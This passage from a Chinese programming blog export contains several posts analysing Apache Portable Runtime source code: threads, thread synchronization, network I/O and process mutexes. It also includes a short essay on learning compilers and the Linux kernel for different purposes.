book[注1]”作者的一席话又为我学习编译增加了一枚筹码，其大致意思就是：大多数学习编译的人一生都可能没有机会去创造一门语言，那么我们为什么还学习编译呢？其中一个原因就是编译技术中某些原理可以适用于一般应用软件的设计。比如词法分析器中的字符串匹配技术可用于文本编辑器、信息获取系统或者模式识别程序中。\n对于学习linux内核我有以下几点考虑：首先一直在用户层使用内核提供的系统调用，比如fork，在很多Unix编程书中会讲到调用fork后子进程与父进程的异同，这些几乎就是应用程序员必须牢记的东西，一直很讨厌强记，遂想刨根问底的去看看fork的一些实现，这样弄清了其来龙去脉就再无须强记了，而弄清了这些后反过来又会让你更好的使用这些系统调用；其次，想在用户层程序中借鉴内核的优秀设计思想，比如缓冲技术，在内核中有在应用层也有，应用层完全可以参考内核中的某些优秀设计来实现；最后，了解操作系统内核会让你对计算机的体系的理解有一个质的飞跃。即使是计算机本科毕业的人又有多少敢说自己完全理解了计算机呢。\ndreamhead以了解OS运作为目的向我们推荐《自己动手写操作系统》一书自然没错，带着这样的目的来学习这本书效果肯定也不错；但是对于我上面所说的那些目的，这本书也仅能满足一小部分，该书可以作为整个学习过程中的一个参考资料。这就是由于学习目的不同带来的一些差异性的东西。\n差异学习没有对错之分，也没有好坏之分，只是因目的不同而已罢了。目的不同，学习的关注点和着重点就会不同，这样即使学习同一样的技术效果也不同。另外学习不是孤立的，沿着学习的主线方向会有很多旁支，如学习linux内核，你将会了解到CPU体系结构、存储器管理和算法理论等多方面的知识。\n最近看到某一电视台播放的央视版“笑傲江湖”，情节中提到华山剑宗与气宗之争，当时自己就考虑“为何两派不二者兼修以达到前所未有之境界呢”，在后来的令狐冲无心插柳却达到了这一境界，想必那些在两宗相争中冤死的华山前辈们看到这一结局都后悔之极了吧。(开个玩笑，其实从古自今大凡争斗之事多源自“权势之争”)。令狐冲成为了绝顶高手又让我想到了“差异程序员”，要想成为“程序界”的令狐冲又何尝不需要“上下”兼修呢？起码dreamhead已经为我们作出了表率。\n[注1]\n“dragon book” — 《Compilers: Principles, Techniques and Tools》by Aho, Sethi and Ullman\n","permalink":"https://tonybai.com/2005/12/13/differences-in-learning/","summary":"\u003cp\u003e看了dreamhead的那篇“差异程序员”，又恰逢在今天dreamhead在一封邮件中谈到其继续深入“向下学习”的想法，心里突然有了本篇题目这样的一个话题。\u003c/p\u003e","title":"差异学习"},{"content":"在线程同步方面，Posix标准定义了3种同步模型，分别为互斥量、条件变量和读写锁。APR也“浅”封装了这3种模型，只是在“读写锁”一块儿还没有全部完成。\n线程同步的源代码的位置在$(APR_HOME)/locks目录下，本篇blog着重分析unix子目录下的thread_mutex.c、thread_rwlock.c和thread_cond.c文件的内容，其相应头文件为(APR_HOME)/include/apr_thread_mutex.h、apr_thread_rwlock.h和apr_thread_cond.h。\n由于APR的封装过于“浅显”，实际上也并没有多少值得分析的“靓点”。所以本篇实际上是在讨论线程同步的3种运行模型。\n一、互斥量\n互斥量是线程同步中最基本的同步方式。互斥量用于保护代码中的临界区，以保证在任一时刻只有一个线程或进程访问临界区。\n1、互斥量的初始化\n在POSIX Thread中提供两种互斥量的初始化方式，如下：\n(1) 静态初始化\n互斥量首先是一个变量，Pthread提供预定义的值来支持互斥量的静态初始化。举例如下：\nstatic pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;\n既然是静态初始化，那么必然要求上面的mutex变量需要静态分配。在APR中并不支持apr_thread_mutex_t的使用预定值的静态初始化(但可以变通的利用下面的方式进行静态分配的mutex的初始化)。\n(2) 动态初始化\n除了上面的情况，如果mutex变量在堆上或在共享内存中分配的话，我们就需要调用一个初始化函数来动态初始化该变量了。在Pthread中的对应接口为pthread_mutex_init。APR封装了这一接口，我们可以使用下面方式在APR中初始化一个apr_thread_mutex_t变量。\napr_thread_mutex_t *mutex = NULL;\napr_pool_t *pool = NULL;\napr_status_t stat;\nstat = apr_pool_create(\u0026amp;pool, NULL);\nif (stat != APR_SUCCESS) {\nprintf(\u0026ldquo;error in pool %d\\n\u0026rdquo;, stat);\n} else {\nprintf(\u0026ldquo;ok in pool\\n\u0026rdquo;);\n}\nstat = apr_thread_mutex_create(\u0026amp;mutex, APR_THREAD_MUTEX_DEFAULT, pool);\nif (stat != APR_SUCCESS) {\nprintf(\u0026ldquo;error %d in mutex\\n\u0026rdquo;, stat);\n} else {\nprintf(\u0026ldquo;ok in mutex\\n\u0026rdquo;);\n}\n2、互斥锁的软弱性所在\n互斥锁之软弱性在于其是一种协作性锁，其运作时对各线程有一定的要求，即“所有要访问临界区的线程必须首先获取这个互斥锁，离开临界区后释放该锁”，一旦某一线程不遵循该要求，那么这个互斥锁就形同虚设了。如下面的例子：\n举例：我们有两个线程，一个线程A遵循要求，每次访问临界区均先获取锁，然后将临界区的变量x按偶数值递增，另一个线程B不遵循要求直接修改x值，这样即使在线程A获取锁的情况下仍能修改临界区的变量x。\nstatic apr_thread_mutex_t *mutex = NULL;\nstatic int x = 0;\nstatic apr_thread_t *t1 = NULL;\nstatic apr_thread_t *t2 = NULL;\nstatic void * APR_THREAD_FUNC thread_func1(apr_thread_t *thd, void *data)\n{\napr_time_t now;\napr_time_exp_t xt;\nwhile (1) {\napr_thread_mutex_lock(mutex);\nnow = apr_time_now();\napr_time_exp_lt(\u0026amp;xt, now);\nprintf(\u0026quot;[threadA]: own the lock, time[%02d:%02d:%02d]\\n\u0026quot;, xt.tm_hour, xt.tm_min,\nxt.tm_sec);\nprintf(\u0026quot;[threadA]: x = %d\\n\u0026quot;, x);\nif (x % 2 || x == 0) {\nx += 2;\n} else {\nprintf(\u0026quot;[threadA]: Warning: x变量值被破坏，现重新修正之\\n\u0026quot;);\nx += 1;\n}\napr_thread_mutex_unlock(mutex);\nnow = apr_time_now();\napr_time_exp_lt(\u0026amp;xt, now);\nprintf(\u0026quot;[threadA]: release the lock, time[%02d:%02d:%02d]\\n\u0026quot;, xt.tm_hour, xt.tm_min,\nxt.tm_sec);\nsleep(2);\n}\nreturn NULL;\n}\nstatic void * APR_THREAD_FUNC thread_func2(apr_thread_t *thd, void *data)\n{\napr_time_t now;\napr_time_exp_t xt;\nwhile (1) {\nx ++;\nnow = apr_time_now();\napr_time_exp_lt(\u0026amp;xt, now);\nprintf(\u0026quot;[threadB]: modify the var, time[%02d:%02d:%02d]\\n\u0026quot;, xt.tm_hour, xt.tm_min, xt.tm_sec);\nsleep(2);\n}\nreturn NULL;\n}\nint main(int argc, const char * const * argv, const char * const *env)\n{\napr_app_initialize(\u0026amp;argc, \u0026amp;argv, \u0026amp;env);\napr_status_t stat;\n//…\n/*\n* 创建线程\n*/\nstat = apr_thread_create(\u0026amp;t1, NULL, thread_func1, NULL, pool);\nstat = apr_thread_create(\u0026amp;t2, NULL, thread_func2, NULL, pool);\n//…\napr_terminate();\nreturn 0;\n}\n//output\n… …\n[threadA]: own the lock, time[10:10:15]\n[threadB]: modify the var, time[10:10:15]\n[threadA]: x = 10\n[threadA]: Warning: x变量值被破坏，现重新修正之\n[threadA]: release the lock, time[10:10:15]\n当然这个例子不一定很精确的表明threadB在threadA拥有互斥量的时候修改了x值。\n二、条件变量\n互斥量一般用于被设计被短时间持有的锁，一旦我们不能确定等待输入的时间时，我们可以使用条件变量来完成同步。我们曾经说过I/O复用，在我们调用poll或者select的时候实际上就是在内核与用户进程之间达成了一个协议，即当某个I/O描述符事件发生的时候内核通知用户进程并且将处于挂起状态的用户进程唤醒。而这里我们所说的条件变量让对等的线程间达成协议，即“某一线程发现某一条件满足时必须发信号给阻塞在该条件上的线程，将后者唤醒”。这样我们就有了两种角色的线程，分别为\n(1) 给条件变量发送信号的线程\n其流程大致为：\n{\n获取条件变量关联锁；\n修改条件为真；\n调用apr_thread_cond_signal通知阻塞线程条件满足了；—— (a)\n释放变量关联锁；\n}\n(2) 在条件变量上等待的线程\n其流程大致为：\n{\n获取条件变量关联锁；\nwhile (条件为假) { ——————— (c)\n调用apr_thread_cond_wait阻塞在条件变量上等待；—— (b)\n}\n修改条件；\n释放变量关联锁；\n}\n上面两个流程中，理解三点最关键：\na) apr_thread_cond_signal中调用的pthread_cond_signal保证至少有一个阻塞在条件变量上的线程恢复；在《Unix网络编程 Vol2》中也谈过这里存在着一个race。即在发送cond信号的同时，该发送线程仍然持有条件变量关联锁，那么那个恢复线程的apr_thread_cond_wait返回时仍然拿不到这把锁就会再次挂起。这里的这个race要看各个平台实现是如何处理的了。\nb) apr_thread_cond_wait中调用的pthread_cond_wait原子的将调用线程挂起，并释放其持有的条件变量关联锁；\nc) 这里之所以使用while反复测试条件，是防止“伪唤醒”的存在，即条件并未满足就被唤醒。所以无论怎样，唤醒后我都需要重新测试一下条件，保证该条件的的确确满足了。\n条件变量在解决“生产者-消费者”问题中有很好的应用，在我以前的一篇blog中也说过这个问题。\n三、读写锁\n前面说过，互斥量把想进入临界区而又试图获取互斥量的所有线程都阻塞住了。读写锁则改进了互斥量的这种霸道行为，它区分读临界区数据和修改临界区数据两种情况。这样如果有线程持有读锁的话，这时再有线程想读临界区的数据也是可以再获取读锁的。读锁和写锁的分配规则在《Unix网络编程 Vol2》中有详细说明，这里不详述。\n四、小结\n三种同步方式如何选择？场合不同选择也不同。互斥量在于完全同步的临界区访问；条件变量在解决“生产者-消费者”模型问题上有独到之处；读写锁则在区分对临界区读写的时候使用。\n","permalink":"https://tonybai.com/2005/12/11/apr-thread-synchronization/","summary":"\u003cp\u003e在线程同步方面，Posix标准定义了3种同步模型，分别为\u003ca href=\"http://en.wikipedia.org/wiki/Mutual_exclusion\"\u003e互斥量\u003c/a\u003e、\u003ca href=\"http://en.wikipedia.org/wiki/Monitor_%28synchronization%29\"\u003e条件变量\u003c/a\u003e和\u003ca href=\"http://en.wikipedia.org/wiki/Readers%E2%80%93writer_lock\"\u003e读写锁\u003c/a\u003e。APR也“浅”封装了这3种模型，只是在“读写锁”一块儿还没有全部完成。\u003c/p\u003e\n\u003cp\u003e线程同步的源代码的位置在$(APR_HOME)/locks目录下，本篇blog着重分析unix子目录下的thread_mutex.c、thread_rwlock.c和thread_cond.c文件的内容，其相应头文件为(APR_HOME)/include/apr_thread_mutex.h、apr_thread_rwlock.h和apr_thread_cond.h。\u003c/p\u003e","title":"APR源代码分析-线程同步篇"},{"content":"并行一直是程序设计领域的难点，而线程是并行的一种重要的手段，而且线程的一些特性也能在进程并行时发挥很好的作用(在“线程同步篇”中详细阐述)。\nAPR线程的源代码的位置在$(APR_HOME)/threadproc目录下，本篇blog着重分析unix子目录下的thread.c文件内容，其相应头文件为$(APR_HOME)/include/apr_threadproc.h。\n一、线程基础\n《深入理解计算机系统》（以下称CS.APP）一书中对线程基础概念的讲解让我眼前豁然开朗，这里不妨引述一下：\n(1) 在传统观点中，进程是由存储于用户虚拟内存中的代码、数据和栈，以及由内核维护的“进程上下文”组成的，其中“进程上下文”又可以看成“程序上下文”和“内核上下文”组成，可参见下面图示：\n进程–\n|- 进程上下文\n|- 程序上下文\n|- 数据寄存器\n|- 条件码\n|- 栈指针\n|- 程序计数器\n|- 内核上下文\n|- 进程ID\n|- VM结构\n|- Open files\n|- 已设置的信号处理函数\n|- brk pointer\n|- 代码、数据和栈(在虚存中)\n|- 栈区 \u0026lt;– SP\n|- 共享库区\n|- 运行时堆区 \u0026lt;– brk\n|- 可读/写数据区\n|- 只读代码/数据区 \u0026lt;– PC\n(2) 另种观点中，进程是由线程、代码和数据以及内核上下文组成的，下图更能直观的展示出两种观点的异同：\n进程 –+\n|- 线程\n|- 栈区 \u0026lt;– SP\n|- 线程上下文\n|- 线程ID\n|- 数据寄存器\n|- 条件码\n|- 栈指针\n|- 程序计数器\n|- 内核上下文\n|- 进程ID\n|- VM结构\n|- Open files\n|- 已设置的信号处理函数\n|- brk pointer\n|- 代码、数据(在虚存中)\n|- 共享库区\n|- 运行时堆区 \u0026lt;– brk\n|- 可读/写数据区\n|- 只读代码/数据区 \u0026lt;– PC\n对比两种观点我们可以得出以下几点结论：\n(a) 从观点(2)可以看出进程内的多个线程共享进程的内核上下文和代码、数据(当然不包括栈区)；\n(b) 线程上下文比进程上下文小，且切换代价小；\n(c) 线程不像进程那样有着“父-子”体系，同一个进程内的线程都是“对等的”，主线程与其他线程不同之处就在于其是进程创建的第一个线程。\n二、APR线程管理接口\n如今应用最广泛的线程包就是Posix Thread了。APR对线程的封装也是基于Posix thread的。\nAPR线程管理接口针对apr_thread_t这个基本的数据结构进行操作，apr_thread_t的定义很简单：\n/* apr_arch_threadproc.h */\nstruct apr_thread_t {\napr_pool_t *pool;\npthread_t *td;\nvoid *data;\napr_thread_start_t func;\napr_status_t exitval;\n};\n这个结构中包含了线程ID、线程函数以及该函数的参数数据。不过APR的线程函数定义与Pthread的有不同，“Pthread线程函数”是这样的：\ntypedef void *(start_routine)(void*);\n而“APR线程函数”如下：\ntypedef void *(APR_THREAD_FUNC *apr_thread_start_t)(apr_thread_t*, void*);\n1、apr_thread_create\napr_thread_create内部定义了一个dummy_worker的“Pthread线程函数”，并将apr_thread_t结构作为参数传入，然后在dummy_worker中启动“APR的线程函数”。在该函数的参数列表中有一项类型为apr_threadattr_t：\nstruct apr_threadattr_t {\napr_pool_t *pool;\npthread_attr_t attr;\n};\n这个类型封装了线程的属性，不同的线程属性会导致线程的行为有所不同。Pthread提供多种线程属性设置接口，可是APR并未全部提供，必要时我觉得可以自己来调用Pthread接口。APR提供的属性设置接口包括设置线程的可分离性、线程栈大小和栈Guard区域属性。\n2、apr_thread_exit\n进程退出我们可以直接调用exit函数，而线程退出也有几种方式：\n(1) 隐式退出 – 可以理解为线程main routine代码结束返回；\n(2) 显式退出 – 调用线程包提供的显式退出接口，在apr中就是apr_thread_exit；\n(3) 另类显式退出 – 调用exit函数，不仅自己退出，其所在线程也跟着退出了；\n(4) 被“黑”退出 – 被别的“对等”线程调用pthread_cancel而被迫退出。\napr_thread_exit属于种类(2)，该种类退出应该算是线程的优雅退出了。apr_thread_exit做了3个工作，分别为设置线程返回值、释放pool中资源和调用pthread_exit退出。\n3、apr_thread_join和apr_thread_detach\n进程有waitpid，线程有join。线程在调用apr_thread_exit后，只是其执行停止了，其占有的“资源”并不一定释放，这里的“资源”我想就是“另种观点”中的“线程上下文”，线程有两种方式来释放该“资源”，这主要由线程的“可分离”属性决定的。如果线程是“可分离的”，当线程退出后就会自动释放其“资源”，如果线程为“非可分离的”，则必须由“对等线程”调用join接口来释放其资源。apr_thread_detach用来将其调用线程转化为“可分离”线程，而apr_thread_join用来等待某个线程结束并释放其资源。\n三、小结\n基本的线程管理接口相对较简单，关键是对线程概念的理解。接下来的“线程同步”则是件比较有趣的话题。\n","permalink":"https://tonybai.com/2005/12/08/apr-thread/","summary":"\u003cp\u003e并行一直是程序设计领域的难点，而线程是并行的一种重要的手段，而且\u003ca href=\"http://en.wikipedia.org/wiki/Thread_%28computing%29\"\u003e线程\u003c/a\u003e的一些特性也能在进程并行时发挥很好的作用(在“\u003ca href=\"http://tonybai.com/2005/12/11/apr-thread-synchronization\"\u003e线程同步篇\u003c/a\u003e”中详细阐述)。\u003c/p\u003e\n\u003cp\u003eAPR线程的源代码的位置在$(APR_HOME)/threadproc目录下，本篇blog着重分析unix子目录下的thread.c文件内容，其相应头文件为$(APR_HOME)/include/apr_threadproc.h。\u003c/p\u003e","title":"APR分析-线程篇"},{"content":"“这个世界如果没有了网络就好比没有了石油、没有了电一样，是多么的可怕呀。”相信世界上已经有很多很多的人能够同意这种观点了，通过这个观点也可以看出网络在现代人们心中的地位。而运行在网络节点上的网络应用程序则是在幕后默默地为人们提供着服务。Apache Server就是其中一个典型的代表。而APR网络I/O库则像磐石一样支撑着Apache Server的运行。\nAPR网络I/O的源代码的位置在$(APR_HOME)/network_io目录下，本篇blog着重分析unix子目录下的各.c文件内容，其相应头文件为$(APR_HOME)/include/apr_network_io.h。\n以程序员的视角来看待网络，这样我们可以忽略一些网络的基础概念。下面将循序渐进地接触网络，并说明APR是如何支持这些网络概念的。\n一、IP地址 — 主机通信\n我们熟知的并且每天工作于其上的因特网是一个世界范围的主机的集合，这个主机集合被映射为一个32位(目前)或者64位(将来)IP地址；而IP地址又被映射为一组因特网域名；一个网络中的主机上的进程能通过一个连接(connection)和任何其他网络中的主机上的进程通信。\n1、IP地址存储\n在如今的IPV4协议中我们一般使用一个unsigned int来存储IP地址，在UNIX平台下，使用如下结构来存储一个IP地址的值：\n/* Internet address structure */\nstruct in_addr {\nunsigned int s_addr; /* network byte order (big-endian) */\n};\n这里值得一提的是APR关于IP地址存储的做法，看如下代码：\n#if (!APR_HAVE_IN_ADDR)\n/**\n* We need to make sure we always have an in_addr type, so APR will just\n* define it ourselves, if the platform doesn\u0026rsquo;t provide it.\n*/\nstruct in_addr {\napr_uint32_t s_addr;\n};\n#endif\nAPR保证了其所在平台上in_addr的存在。还有一点儿需要注意的是在in_addr中，s_addr是以网络字节序存储的。如果你的IP地址不符合条件，可通过调用一些辅助接口来做转换，这些接口包括：\nhtonl : host to network long ;\nhtons : host to network short ;\nntohl : network to host long ;\nntohs : network to host short.\n2、IP地址表示\n我们平时看到的IP地址都是类似“xxx.xxx.xxx.xxx”这样的点分十进制的。上面说过IP地址使用的是一个unsigned int整形数来表示。这样就存在着一个IP地址表示和IP地址存储之间的一个转换过程。APR提供这一转换支持，我们用一个例子来说明：\n#include\n#include\n#include \u0026ldquo;apr_network_io.h\u0026rdquo;\n#include \u0026ldquo;apr_arch_networkio.h\u0026rdquo;\nint main(int argc, const char * const * argv, const char * const *env)\n{\napr_app_initialize(\u0026amp;argc, \u0026amp;argv, \u0026amp;env);\nchar presentation[100];\nint networkfmt;\nmemset(presentation, 0, sizeof(presentation));\napr_inet_pton(AF_INET, \u0026ldquo;255.255.255.255\u0026rdquo;, \u0026amp;networkfmt);\nprintf(\u0026ldquo;0x%x\\n\u0026rdquo;, networkfmt);\napr_inet_ntop(AF_INET, \u0026amp;networkfmt, presentation, sizeof(presentation));\nprintf(\u0026ldquo;presentation is %s\\n\u0026rdquo;, presentation);\napr_terminate();\nreturn 0;\n}\nAPR提供apr_inet_pton将我们熟悉的点分十进制形式转换成一个整型数存储的IP地址；而apr_inet_ntop则将一个存整型数存储的IP地址转换为我们可读的点分十进制形式。这两个接口的功能类似于系统调用inet_pton和inet_ntop，至于使用哪个就看你的喜好了^_^。\n二、SOCKET — 进程通信\n前面提到过通过一个连接(connection)可以连接两个internet不同或相同主机上的不同进程，这个连接是点对点的。而从Unix内核角度来看，SOCKET则是连接的一个端点。每个SOCKET都有一个地址，其地址由主机IP地址和通讯端口号组成。一个连接有两个端点，这样一个连接就可以由一个SOCKET对唯一表示了。这个SOCKET对是这个样子的(cliaddr:cliport, servaddr:servport)。\n那么在应用程序中我们如何获取和使用这一互联网上的进程通讯利器呢？每个平台都为应用程序提供了一套SOCKET编程接口，APR又在不同平台提供的接口之上进行了封装，使代码可以在不同平台上编译运行，而且易用性也有所提高。\n1、SOCKET描述符\nSOCKET属于系统资源，我们必须通过系统调用来申请该资源。SOCKET资源的申请类似于FILE，在使用文件时我们通过调用open函数获取文件描述符，类似我们也可通过调用下面的接口来获取SOCKET描述符：\nint socket(int domain, int type, int protocol);\n从Unix程序的角度来看，SOCKET就是一个有相应描述符的打开的文件。在APR中我们可以通过调用apr_socket_create来创建一个APR自定义的SOCKET对象，该SOCKET结构如下：\n/* apr_arch_networkio.h */\nstruct apr_socket_t {\napr_pool_t *cntxt;\nint socketdes;\nint type;\nint protocol;\napr_sockaddr_t *local_addr;\napr_sockaddr_t *remote_addr;\napr_interval_time_t timeout;\n#ifndef HAVE_POLL\nint connected;\n#endif\nint local_port_unknown;\nint local_interface_unknown;\nint remote_addr_unknown;\napr_int32_t options;\napr_int32_t inherit;\nsock_userdata_t *userdata;\n#ifndef WAITIO_USES_POLL\n/* if there is a timeout set, then this pollset is used */\napr_pollset_t *pollset;\n#endif\n};\n该结构中的socketdes字段其实是真正存储由socket函数返回的SOCKET描述符的，其他字段都是为APR自己所使用的，这些字段在Bind、Connect等过程中使用。另外需要提及的就是要分清SOCKET描述符和SOCKET地址(IP地址，端口号)，前者是系统资源，而后者用来描述一个连接的一个端点的地址。SOCKET描述符可以代表任意的SOCKET地址，也可以绑定到某个固定的SOCKET地址上(在后面有说明)。我们如果不显式将SOCKET描述符绑定到某SOCKET地址上，系统内核就会自动为该SOCKET描述符分配一个SOCKET地址。\n2、SOCKET属性\n还是与文件对比，在文件系统调用中有一个fcntl接口可以用来获取或设置已分配的文件描述符的属性，如是否Block、是否Buffer等。SOCKET也提供类似的接口调用setsockopt和getsockopt。在APR中等价于该功能的接口是apr_socket_opt_set和apr_socket_opt_get。APR在apr_network_io.h中提供如下SOCKET的参数属性：\n#define APR_SO_LINGER 1 /**\u0026lt; Linger */\n#define APR_SO_KEEPALIVE 2 /**\u0026lt; Keepalive */\n#define APR_SO_DEBUG 4 /**\u0026lt; Debug */\n#define APR_SO_NONBLOCK 8 /**\u0026lt; Non-blocking IO */\n#define APR_SO_REUSEADDR 16 /**\u0026lt; Reuse addresses */\n#define APR_SO_SNDBUF 64 /**\u0026lt; Send buffer */\n#define APR_SO_RCVBUF 128 /**\u0026lt; Receive buffer */\n#define APR_SO_DISCONNECTED 256 /**\u0026lt; Disconnected */\n… …\n另外从上面这些属性值(都是2的n次方)可以看出SOCKET也是使用一个属性控制字段中的“位”来控制SOCKET属性的。\n再有APR提供一个宏apr_is_option_set来判断一个SOCKET是否拥有某个属性。\n3、Connect、Bind、Listen、Accept — 建立连接\n这里不详述C/S模型了，只是说说APR支持C/S模型的一些接口。\n(1) apr_socket_connect\n客户端连接服务器端的唯一调用就是connect，connect试图建立一个客户端进程与服务器端进程的连接。apr_socket_connect的参数分别为客户端已经打开的一个SOCKET以及指定的服务器端的SOCKET地址(IP ADDR : PORT)。apr_socket_connect内部实现的流程大致如以下代码：\napr_socket_connect\n{\ndo {\nrc = connect(sock-\u0026gt;socketdes,\n(const struct sockaddr *)\u0026amp;sa-\u0026gt;sa.sin,\nsa-\u0026gt;salen);\n} while (rc == -1 \u0026amp;\u0026amp; errno == EINTR); ——– (a)\nif ((rc == -1) \u0026amp;\u0026amp; (errno == EINPROGRESS || errno == EALREADY)\n\u0026amp;\u0026amp; (sock-\u0026gt;timeout \u0026gt; 0)) {\nrc = apr_wait_for_io_or_timeout(NULL, sock, 0); ——— (b) 注[1]\nif (rc != APR_SUCCESS) {\nreturn rc;\n}\nif (rc == -1 \u0026amp;\u0026amp; errno != EISCONN) {\nreturn errno; ——— (c)\n}\n初始化sock-\u0026gt;remote_addr;\n… …\n}\n对上述代码进行若干说明：\n(a) 执行系统调用connect连接服务器端，注意这里做了防止信号中断的处理，这个技巧在以前的文章中提到过，这里不详述；\n(b) 如果系统操作正在进行中，调用apr_wait_for_io_or_timeout进行超时等待；\n(c) 错误返回，前提errno不是表示已连接上。\n一旦apr_socket_connect成功返回，我们就已经成功建立了一个SOCKET对，即一个连接。\n(2) apr_socket_bind\nBind、Listen和Accept这三个过程是服务器端用于接收“连接”的必经之路。其中Bind就是告诉操作系统内核显式地为该SOCKET描述符分配一个SOCKET地址，这个SOCKET地址就不能被其他SOCKET描述符占用了。在服务器编程中Bind几乎成为了“必选”之调用，因为一般服务器程序都有自己的“名气很大”的SOCKET地址，如TELNET服务端口号23等。apr_socket_bind也并未做太多的工作，只是简单的调用了bind系统接口，并设置了apr_socket_t结构的几个local_addr字段。\n(3) apr_socket_listen\n按照《Unix网络编程 Vol1》的说法，SOCKET描述符在初始分配时都处于“主动连接”状态，Listen过程将该SOCKET描述符从“主动连接”转换为“被动状态”，并告诉内核接受该SOCKET描述符的连接请求。apr_socket_listen的背后直接就是listen接口调用。\n(4) apr_socket_accept\nAccept过程在“被动状态”SOCKET描述符上接受一个客户端的连接，这时系统内核会自动分配一个新的SOCKET描述符，内核为该描述符自动分配一个SOCKET地址，来代表这条连接的服务器端。注意在SOCKET编程接口中除了socket函数能分配新的SOCKET描述符之外，accept也是另外的一个也是唯一的一个能分配新的SOCKET描述符的系统调用了。apr_socket_accept首先在pool中分配一个新的apr_socket_t结构变量，然后调用accept，并设置新变量的各个字段。\n4、Send/Recv — 数据传输\n网络通信最重要的还是数据传输，在SOCKET编程接口中最常见的两个接口就是recv和send。在APR中分别有apr_socket_recv和apr_socket_send与前面二者对应。下面逐一分析。\n(1) apr_socket_recv\n首先来看看apr_socket_recv的实现过程：\napr_socket_recv\n{\nif (上次调用apr_socket_recv没有读完所要求的字节数) { ———-(a)\n设置sock-\u0026gt;options; goto do_select;\n}\ndo {\nrv = read(sock-\u0026gt;socketdes, buf, (*len)); —— (b)\n} while (rv == -1 \u0026amp;\u0026amp; errno == EINTR);\nif ((rv == -1) \u0026amp;\u0026amp; (errno == EAGAIN || errno == EWOULDBLOCK)\n\u0026amp;\u0026amp; (sock-\u0026gt;timeout \u0026gt; 0)) {\ndo_select:\narv = apr_wait_for_io_or_timeout(NULL, sock, 1);\nif (arv != APR_SUCCESS) {\n*len = 0;\nreturn arv;\n}\nelse {\ndo {\nrv = read(sock-\u0026gt;socketdes, buf, (*len));\n} while (rv == -1 \u0026amp;\u0026amp; errno == EINTR);\n}\n} ———— (c)\n设置(*len)和sock-\u0026gt;options; ————-(d)\n… …\n}\n针对上面代码进行简单说明：\n(a) 一次apr_socket_recv调用完全有可能没有读完所要求的字节数，这里做个判断以决定是否继续读完剩下的数据；\n(b) 调用read读取SOCKET缓冲区数据，注意这里做了防止信号中断的处理，这个技巧在以前的文章中提到过，这里不详述；\n(c) 如果SOCKET操作正在忙，我们调用apr_wait_for_io_or_timeout等待，直到SOCKET可用。这里我觉得好像有个问题，想象一下如果上一次SOCKET的状态为APR_INCOMPLETE_READ，那么重新调用apr_socket_read后在SOCKET属性中去掉APR_INCOMPLETE_READ，然后进入apr_wait_for_io_or_timeout过程，一旦apr_wait_for_io_or_timeout失败，那么就直接返回了。而实际上SOCKET仍然应该处于APR_INCOMPLETE_READ状态，而下次再调用apr_socket_read就直接进入一轮完整数据的读取过程了，不知道这种情形是否能否发生。\n(d) 将(*len)设置为实际从SOCKET Buffer中读取的字节数，并根据这一实际数据与要求数据作比较来设置sock-\u0026gt;options。\n(2) apr_socket_send\napr_socket_send负责发送数据到SOCKET Buffer，其实现的方式与apr_socket_recv大同小异，这里就不分析了。\n三、小结\nAPR Network I/O中还有对Multicast的支持，由于平时不常接触，这里不分析了。\n注[1]：\n/* in errno.h */\n#define EISCONN 133 /* Socket is already connected */\n#define EALREADY 149 /* operation already in progress */\n#define EINPROGRESS 150 /* operation now in progress */\n","permalink":"https://tonybai.com/2005/12/05/apr-network-io/","summary":"\u003cp\u003e“这个世界如果没有了网络就好比没有了石油、没有了电一样，是多么的可怕呀。”相信世界上已经有很多很多的人能够同意这种观点了，通过这个观点也可以看出网络在现代人们心中的地位。而运行在网络节点上的网络应用程序则是在幕后默默地为人们提供着服务。\u003ca href=\"http://httpd.apache.org\"\u003eApache Server\u003c/a\u003e就是其中一个典型的代表。而\u003ca href=\"http://apr.apache.org\"\u003eAPR\u003c/a\u003e网络I/O库则像磐石一样支撑着Apache Server的运行。\u003c/p\u003e","title":"APR源代码分析-网络IO篇"},{"content":"最新的统计数据显示Apache服务器在全世界仍然占据着Web服务器龙头老大的位置，而且市场占有率遥遥领先，所以学习Apache相关知识是完全正确的方向，这里我们继续分析APR进程同步相关内容。\n进程同步的源代码的位置在$(APR_HOME)/locks目录下，本篇blog着重分析unix子目录下的proc_mutex.c、global_mutex文件内容，其相应头文件为$(APR_HOME)/include/apr_proc_mutex.h、apr_global_mutex.h。其用于不同进程之间的同步以及多进程多线程中的同步问题。\nAPR提供三种同步措施，分别为：\napr_thread_mutex_t – 支持单个进程内的多线程同步；\napr_proc_mutex_t – 支持多个进程间的同步；\napr_global_mutex_t – 支持不同进程内的不同线程间同步。\n在本篇中着重分析apr_proc_mutex_t。\n1、同步机制\nAPR提供多种进程同步的机制供选择使用。在apr_proc_mutex.h中列举了究竟有哪些同步机制：\ntypedef enum {\nAPR_LOCK_FCNTL, /* 记录上锁 */\nAPR_LOCK_FLOCK, /* 文件上锁 */\nAPR_LOCK_SYSVSEM, /* 系统V信号量 */\nAPR_LOCK_PROC_PTHREAD, /* 利用pthread线程锁特性 */\nAPR_LOCK_POSIXSEM, /* POSIX信号量 */\nAPR_LOCK_DEFAULT /* 默认进程间锁 */\n} apr_lockmech_e;\n这几种锁机制，随便拿出哪一种都很复杂。APR的代码注释中强调了一点就是“只有APR_LOCK_DEFAULT”是可移植的。这样一来用户若要使用APR进程同步机制接口，就必须显式指定一种同步机制。\n2、实现点滴\nAPR提供每种同步机制的实现，每种机制体现为一组函数接口，这些接口被封装在一个结构体类型中：\n/* in apr_arch_proc_mutex.h */\nstruct apr_proc_mutex_unix_lock_methods_t {\nunsigned int flags;\napr_status_t (*create)(apr_proc_mutex_t *, const char *);\napr_status_t (*acquire)(apr_proc_mutex_t *);\napr_status_t (*tryacquire)(apr_proc_mutex_t *);\napr_status_t (*release)(apr_proc_mutex_t *);\napr_status_t (*cleanup)(void *);\napr_status_t (*child_init)(apr_proc_mutex_t **, apr_pool_t *, const char *);\nconst char *name;\n};\n之后在apr_proc_mutex_t类型中，apr_proc_mutex_unix_lock_methods_t的出现也就在情理之中了:)\n/* in apr_arch_proc_mutex.h */\nstruct apr_proc_mutex_t {\napr_pool_t *pool;\nconst apr_proc_mutex_unix_lock_methods_t *meth;\nconst apr_proc_mutex_unix_lock_methods_t *inter_meth;\nint curr_locked;\nchar *fname;\n… …\n#if APR_HAS_PROC_PTHREAD_SERIALIZE\npthread_mutex_t 